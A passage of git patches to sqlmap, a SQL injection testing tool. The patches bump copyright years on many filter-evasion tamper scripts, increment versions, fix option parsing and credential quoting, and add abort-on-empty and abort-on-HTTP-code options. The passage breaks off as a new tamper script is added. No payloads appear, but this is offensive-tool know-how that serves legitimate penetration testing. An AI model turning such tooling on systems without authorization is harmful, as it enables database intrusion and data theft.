-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2mssqlblank.py b/tamper/space2mssqlblank.py index 46c155de6..01a3f6b93 100644 --- a/tamper/space2mssqlblank.py +++ b/tamper/space2mssqlblank.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2mssqlhash.py b/tamper/space2mssqlhash.py index dd6f68764..abe95af15 100644 --- a/tamper/space2mssqlhash.py +++ b/tamper/space2mssqlhash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2mysqlblank.py b/tamper/space2mysqlblank.py index 7f52f22dc..32e18e7e5 100644 --- a/tamper/space2mysqlblank.py +++ b/tamper/space2mysqlblank.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2mysqldash.py b/tamper/space2mysqldash.py index c94595547..2c54f9a6a 100644 --- a/tamper/space2mysqldash.py +++ b/tamper/space2mysqldash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2plus.py b/tamper/space2plus.py index 94903b3c5..d46f41064 100644 --- a/tamper/space2plus.py +++ b/tamper/space2plus.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/space2randomblank.py b/tamper/space2randomblank.py index c050fb2af..880fcc08e 100644 --- a/tamper/space2randomblank.py +++ b/tamper/space2randomblank.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/substring2leftright.py b/tamper/substring2leftright.py index 0d2a36010..773ae3300 100644 --- a/tamper/substring2leftright.py +++ b/tamper/substring2leftright.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/symboliclogical.py b/tamper/symboliclogical.py index 39753be94..80258af5b 100644 --- a/tamper/symboliclogical.py +++ b/tamper/symboliclogical.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/unionalltounion.py b/tamper/unionalltounion.py index daaf69596..2b286553d 100644 --- a/tamper/unionalltounion.py +++ b/tamper/unionalltounion.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/unmagicquotes.py b/tamper/unmagicquotes.py index 960c0012c..b8e04f8d6 100644 --- a/tamper/unmagicquotes.py +++ b/tamper/unmagicquotes.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/uppercase.py b/tamper/uppercase.py index 83885dd6c..c2a03025c 100644 --- a/tamper/uppercase.py +++ b/tamper/uppercase.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/varnish.py b/tamper/varnish.py index f13b28ba6..09cb37f7b 100644 --- a/tamper/varnish.py +++ b/tamper/varnish.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/versionedkeywords.py b/tamper/versionedkeywords.py index 7c57c5c33..cfd116e16 100644 --- a/tamper/versionedkeywords.py +++ b/tamper/versionedkeywords.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/versionedmorekeywords.py b/tamper/versionedmorekeywords.py index f4688c197..1e2de36bd 100644 --- a/tamper/versionedmorekeywords.py +++ b/tamper/versionedmorekeywords.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/xforwardedfor.py b/tamper/xforwardedfor.py index 004f0f89e..79edb8b01 100644 --- a/tamper/xforwardedfor.py +++ b/tamper/xforwardedfor.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ From 7940b572ef5f61d0888d588ccece830fc2e07313 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 2 Jan 2023 23:39:27 +0100 Subject: [PATCH 02/43] Trivy minor version bump --- lib/core/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 3223a88e4..325c5d005 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7" +VERSION = "1.7.1.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 96adc7c098751a35457713dd2a1186f3c218fb76 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 9 Jan 2023 15:34:08 +0100 Subject: [PATCH 03/43] Fixes #5285 --- lib/core/option.py | 3 +++ lib/core/settings.py | 2 +- 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/lib/core/option.py b/lib/core/option.py index 465837620..3015ee0de 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2655,6 +2655,9 @@ def _basicOptionValidation(): raise SqlmapSyntaxException(errMsg) if conf.paramExclude: + if re.search(r"\A\w+,", conf.paramExclude): + conf.paramExclude = r"\A(%s)\Z" % ('|'.join(re.escape(_) for _ in conf.paramExclude.split(','))) + try: re.compile(conf.paramExclude) except Exception as ex: diff --git a/lib/core/settings.py b/lib/core/settings.py index 325c5d005..e9dcba68f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.1.1" +VERSION = "1.7.1.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From de527f1814a0d6f87eaf4c2b13423c4357b7f679 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 9 Jan 2023 15:35:21 +0100 Subject: [PATCH 04/43] Minor update for #5285 --- lib/core/option.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 3015ee0de..3bf0367ee 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2656,7 +2656,7 @@ def _basicOptionValidation(): if conf.paramExclude: if re.search(r"\A\w+,", conf.paramExclude): - conf.paramExclude = r"\A(%s)\Z" % ('|'.join(re.escape(_) for _ in conf.paramExclude.split(','))) + conf.paramExclude = r"\A(%s)\Z" % ('|'.join(re.escape(_).strip() for _ in conf.paramExclude.split(','))) try: re.compile(conf.paramExclude) diff --git a/lib/core/settings.py b/lib/core/settings.py index e9dcba68f..dc743943f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.1.2" +VERSION = "1.7.1.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From b0a1efaa446f5599c492f444ef939aa4ee220bbd Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 9 Jan 2023 17:12:26 +0100 Subject: [PATCH 05/43] Minor update for #5279 --- lib/core/agent.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index 001486101..554441791 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -489,7 +489,7 @@ class Agent(object): if field and Backend.getIdentifiedDbms(): rootQuery = queries[Backend.getIdentifiedDbms()] - if field.startswith("(CASE") or field.startswith("(IIF") or conf.noCast: + if field.startswith("(CASE") or field.startswith("(IIF") or conf.noCast and not (field.startswith("COUNT(") and getTechnique() in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.UNION) and Backend.getIdentifiedDbms() == DBMS.MSSQL): nulledCastedField = field else: if not (Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3')): diff --git a/lib/core/settings.py b/lib/core/settings.py index dc743943f..32e05e4d6 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.1.3" +VERSION = "1.7.1.4" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 1f83076e70efd899af05be981c935a07a26865d5 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 15 Jan 2023 18:07:44 +0100 Subject: [PATCH 06/43] Fixes #5287 --- lib/core/agent.py | 3 +++ lib/core/settings.py | 2 +- 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index 554441791..3a09c4450 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -596,6 +596,9 @@ class Agent(object): if not _: fieldsSelectFrom = None + if re.search(r"\bWHERE\b.+(MIN|MAX)", query, re.I): + fieldsMinMaxstr = None + fieldsToCastStr = fieldsNoSelect if fieldsSubstr: diff --git a/lib/core/settings.py b/lib/core/settings.py index 32e05e4d6..516641ba2 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.1.4" +VERSION = "1.7.1.5" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From d0d4cf4f6df3bf6d92c7322b4098125e4da792ab Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 23 Jan 2023 16:05:46 +0100 Subject: [PATCH 07/43] Minor update regarding #5297 --- lib/core/settings.py | 2 +- lib/utils/sqlalchemy.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 516641ba2..05c2618db 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.1.5" +VERSION = "1.7.1.6" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/sqlalchemy.py b/lib/utils/sqlalchemy.py index a051756a1..2d5b2e161 100644 --- a/lib/utils/sqlalchemy.py +++ b/lib/utils/sqlalchemy.py @@ -21,7 +21,7 @@ try: if hasattr(module, "dialects"): _sqlalchemy = module warnings.simplefilter(action="ignore", category=_sqlalchemy.exc.SAWarning) -except ImportError: +except: pass finally: sys.path = _path From 1be7a5aea88fabe4da716dc0193074b58698034d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 23 Jan 2023 16:21:46 +0100 Subject: [PATCH 08/43] Fixes #4870 --- lib/core/settings.py | 2 +- lib/utils/sqlalchemy.py | 7 +++++++ 2 files changed, 8 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 05c2618db..9c99f41a6 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.1.6" +VERSION = "1.7.1.7" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/sqlalchemy.py b/lib/utils/sqlalchemy.py index 2d5b2e161..73789ba51 100644 --- a/lib/utils/sqlalchemy.py +++ b/lib/utils/sqlalchemy.py @@ -39,6 +39,7 @@ from lib.core.exception import SqlmapFilePathException from lib.core.exception import SqlmapMissingDependence from plugins.generic.connector import Connector as GenericConnector from thirdparty import six +from thirdparty.six.moves import urllib as _urllib def getSafeExString(ex, encoding=None): # Cross-referenced function raise NotImplementedError @@ -50,6 +51,12 @@ class SQLAlchemy(GenericConnector): self.dialect = dialect self.address = conf.direct + if conf.dbmsUser: + self.address = self.address.replace("%s:" % conf.dbmsUser, "%s:" % _urllib.parse.quote(conf.dbmsUser)) + + if conf.dbmsPass: + self.address = self.address.replace(":%s@" % conf.dbmsPass, ":%s@" % _urllib.parse.quote(conf.dbmsPass)) + if self.dialect: self.address = re.sub(r"\A.+://", "%s://" % self.dialect, self.address) From c8eea24ac42af9a20e0ab7aaf625f4e390d955d1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 23 Jan 2023 16:40:41 +0100 Subject: [PATCH 09/43] Implements #5295 --- lib/core/optiondict.py | 1 + lib/core/settings.py | 2 +- lib/parse/cmdline.py | 3 +++ lib/request/inject.py | 13 +++++++++---- sqlmap.conf | 3 +++ 5 files changed, 17 insertions(+), 5 deletions(-) diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 48343a494..c28eca013 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -204,6 +204,7 @@ optDict = { "General": { "trafficFile": "string", + "abortOnEmpty": "boolean", "answers": "string", "batch": "boolean", "base64Parameter": "string", diff --git a/lib/core/settings.py b/lib/core/settings.py index 9c99f41a6..624caf33e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.1.7" +VERSION = "1.7.1.8" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index b6bb36fb4..383fba066 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -628,6 +628,9 @@ def cmdLineParser(argv=None): general.add_argument("-t", dest="trafficFile", help="Log all HTTP traffic into a textual file") + general.add_argument("--abort-on-empty", dest="abortOnEmpty", action="store_true", + help="Abort data retrieval on empty results") + general.add_argument("--answers", dest="answers", help="Set predefined answers (e.g. \"quit=N,follow=N\")") diff --git a/lib/request/inject.py b/lib/request/inject.py index a52878316..039ef1be3 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -501,10 +501,15 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser kb.safeCharEncode = False if not any((kb.testMode, conf.dummy, conf.offline, conf.noCast, conf.hexConvert)) and value is None and Backend.getDbms() and conf.dbmsHandler and kb.fingerprinted: - warnMsg = "in case of continuous data retrieval problems you are advised to try " - warnMsg += "a switch '--no-cast' " - warnMsg += "or switch '--hex'" if hasattr(queries[Backend.getIdentifiedDbms()], "hex") else "" - singleTimeWarnMessage(warnMsg) + if conf.abortOnEmpty: + errMsg = "aborting due to empty data retrieval" + logger.critical(errMsg) + raise SystemExit + else: + warnMsg = "in case of continuous data retrieval problems you are advised to try " + warnMsg += "a switch '--no-cast' " + warnMsg += "or switch '--hex'" if hasattr(queries[Backend.getIdentifiedDbms()], "hex") else "" + singleTimeWarnMessage(warnMsg) # Dirty patch (MSSQL --binary-fields with 0x31003200...) if Backend.isDbms(DBMS.MSSQL) and conf.binaryFields: diff --git a/sqlmap.conf b/sqlmap.conf index ecab1a5c5..71a12017c 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -702,6 +702,9 @@ sessionFile = # Log all HTTP traffic into a textual file. trafficFile = +# Abort data retrieval on empty results. +abortOnEmpty = False + # Set predefined answers (e.g. "quit=N,follow=N"). answers = From a7b59243e205ea54af7c1e90f7ec18d273a4096a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 23 Jan 2023 18:04:47 +0100 Subject: [PATCH 10/43] One more update regarding #4870 --- lib/core/settings.py | 2 +- lib/utils/sqlalchemy.py | 2 ++ 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 624caf33e..ef5b581d8 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.1.8" +VERSION = "1.7.1.9" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/sqlalchemy.py b/lib/utils/sqlalchemy.py index 73789ba51..f1bc0d99d 100644 --- a/lib/utils/sqlalchemy.py +++ b/lib/utils/sqlalchemy.py @@ -52,9 +52,11 @@ class SQLAlchemy(GenericConnector): self.address = conf.direct if conf.dbmsUser: + self.address = self.address.replace("'%s':" % conf.dbmsUser, "%s:" % _urllib.parse.quote(conf.dbmsUser)) self.address = self.address.replace("%s:" % conf.dbmsUser, "%s:" % _urllib.parse.quote(conf.dbmsUser)) if conf.dbmsPass: + self.address = self.address.replace(":'%s'@" % conf.dbmsPass, ":%s@" % _urllib.parse.quote(conf.dbmsPass)) self.address = self.address.replace(":%s@" % conf.dbmsPass, ":%s@" % _urllib.parse.quote(conf.dbmsPass)) if self.dialect: From 633638932216fb56ee8cefb475e4828fe5608c8a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 24 Jan 2023 12:00:23 +0100 Subject: [PATCH 11/43] Another update for #5295 --- lib/core/option.py | 11 ++++++++++- lib/core/optiondict.py | 1 + lib/core/settings.py | 2 +- lib/parse/cmdline.py | 5 ++++- lib/request/connect.py | 10 ++++++++++ sqlmap.conf | 6 +++++- 6 files changed, 31 insertions(+), 4 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 3bf0367ee..72d834d07 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1696,11 +1696,20 @@ def _cleanupOptions(): try: conf.ignoreCode = [int(_) for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.ignoreCode)] except ValueError: - errMsg = "options '--ignore-code' should contain a list of integer values or a wildcard value '%s'" % IGNORE_CODE_WILDCARD + errMsg = "option '--ignore-code' should contain a list of integer values or a wildcard value '%s'" % IGNORE_CODE_WILDCARD raise SqlmapSyntaxException(errMsg) else: conf.ignoreCode = [] + if conf.abortCode: + try: + conf.abortCode = [int(_) for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.abortCode)] + except ValueError: + errMsg = "option '--abort-code' should contain a list of integer values" + raise SqlmapSyntaxException(errMsg) + else: + conf.abortCode = [] + if conf.paramFilter: conf.paramFilter = [_.strip() for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.paramFilter.upper())] else: diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index c28eca013..761ee9955 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -39,6 +39,7 @@ optDict = { "authType": "string", "authCred": "string", "authFile": "string", + "abortCode": "string", "ignoreCode": "string", "ignoreProxy": "boolean", "ignoreRedirects": "boolean", diff --git a/lib/core/settings.py b/lib/core/settings.py index ef5b581d8..f20420b07 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.1.9" +VERSION = "1.7.1.10" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 383fba066..e16e8223a 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -201,8 +201,11 @@ def cmdLineParser(argv=None): request.add_argument("--auth-file", dest="authFile", help="HTTP authentication PEM cert/private key file") + request.add_argument("--abort-code", dest="abortCode", + help="Abort on (problematic) HTTP error code(s) (e.g. 401)") + request.add_argument("--ignore-code", dest="ignoreCode", - help="Ignore (problematic) HTTP error code (e.g. 401)") + help="Ignore (problematic) HTTP error code(s) (e.g. 401)") request.add_argument("--ignore-proxy", dest="ignoreProxy", action="store_true", help="Ignore system default proxy settings") diff --git a/lib/request/connect.py b/lib/request/connect.py index ffc06ad96..6c27a267e 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -767,6 +767,11 @@ class Connect(object): if not multipart: logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) + if code in conf.abortCode: + errMsg = "aborting due to detected HTTP code '%d'" % code + singleTimeLogMessage(errMsg, logging.CRITICAL) + raise SystemExit + if ex.code not in (conf.ignoreCode or []): if ex.code == _http_client.UNAUTHORIZED: errMsg = "not authorized, try to provide right HTTP " @@ -921,6 +926,11 @@ class Connect(object): errMsg += "function '%s' ('%s')" % (function.__name__, getSafeExString(ex)) raise SqlmapGenericException(errMsg) + if code in conf.abortCode: + errMsg = "aborting due to detected HTTP code '%d'" % code + singleTimeLogMessage(errMsg, logging.CRITICAL) + raise SystemExit + threadData.lastPage = page threadData.lastCode = code diff --git a/sqlmap.conf b/sqlmap.conf index 71a12017c..895b60115 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -101,8 +101,12 @@ authCred = # Syntax: key_file authFile = +# Abort on (problematic) HTTP error code (e.g. 401). +# Valid: string +abortCode = + # Ignore (problematic) HTTP error code (e.g. 401). -# Valid: integer +# Valid: string ignoreCode = # Ignore system default proxy settings. From fdbc323aa61750eb4f0259fdb3fffebde5ddb01b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 24 Jan 2023 12:08:02 +0100 Subject: [PATCH 12/43] One more update for #5295 --- lib/core/settings.py | 2 +- lib/request/connect.py | 9 +++++---- 2 files changed, 6 insertions(+), 5 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index f20420b07..e4de9fcb4 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.1.10" +VERSION = "1.7.1.11" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index 6c27a267e..da1bacad8 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -926,10 +926,11 @@ class Connect(object): errMsg += "function '%s' ('%s')" % (function.__name__, getSafeExString(ex)) raise SqlmapGenericException(errMsg) - if code in conf.abortCode: - errMsg = "aborting due to detected HTTP code '%d'" % code - singleTimeLogMessage(errMsg, logging.CRITICAL) - raise SystemExit + for _ in (getattr(conn, "redcode", None), code): + if _ is not None and _ in conf.abortCode: + errMsg = "aborting due to detected HTTP code '%d'" % _ + singleTimeLogMessage(errMsg, logging.CRITICAL) + raise SystemExit threadData.lastPage = page threadData.lastCode = code From fbfed061b89bcfa33268a3702922dbd7938ee7cb Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 28 Jan 2023 21:50:26 +0100 Subject: [PATCH 13/43] Fixes #5300 --- lib/core/settings.py | 2 +- sqlmap.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index e4de9fcb4..93a8da31e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.1.11" +VERSION = "1.7.1.12" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sqlmap.py b/sqlmap.py index 33a0cae0e..44252f38a 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -64,7 +64,6 @@ try: from lib.core.common import setPaths from lib.core.common import weAreFrozen from lib.core.convert import getUnicode - from lib.core.common import MKSTEMP_PREFIX from lib.core.common import setColor from lib.core.common import unhandledExceptionMessage from lib.core.compat import LooseVersion @@ -73,6 +72,7 @@ try: from lib.core.data import conf from lib.core.data import kb from lib.core.datatype import OrderedSet + from lib.core.enums import MKSTEMP_PREFIX from lib.core.exception import SqlmapBaseException from lib.core.exception import SqlmapShellQuitException from lib.core.exception import SqlmapSilentQuitException From 45852431754c95be3c6fc03b8de990bb13deaef6 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 1 Feb 2023 13:53:19 +0100 Subject: [PATCH 14/43] Implements tamper script if2case (#5301) --- lib/core/settings.py | 2 +- tamper/if2case.py | 67 ++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 68 insertions(+), 1 deletion(-) create mode 100644 tamper/if2case.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 93a8da31e..54160a195 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.7.1.12" +VERSION = "1.7.2.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') 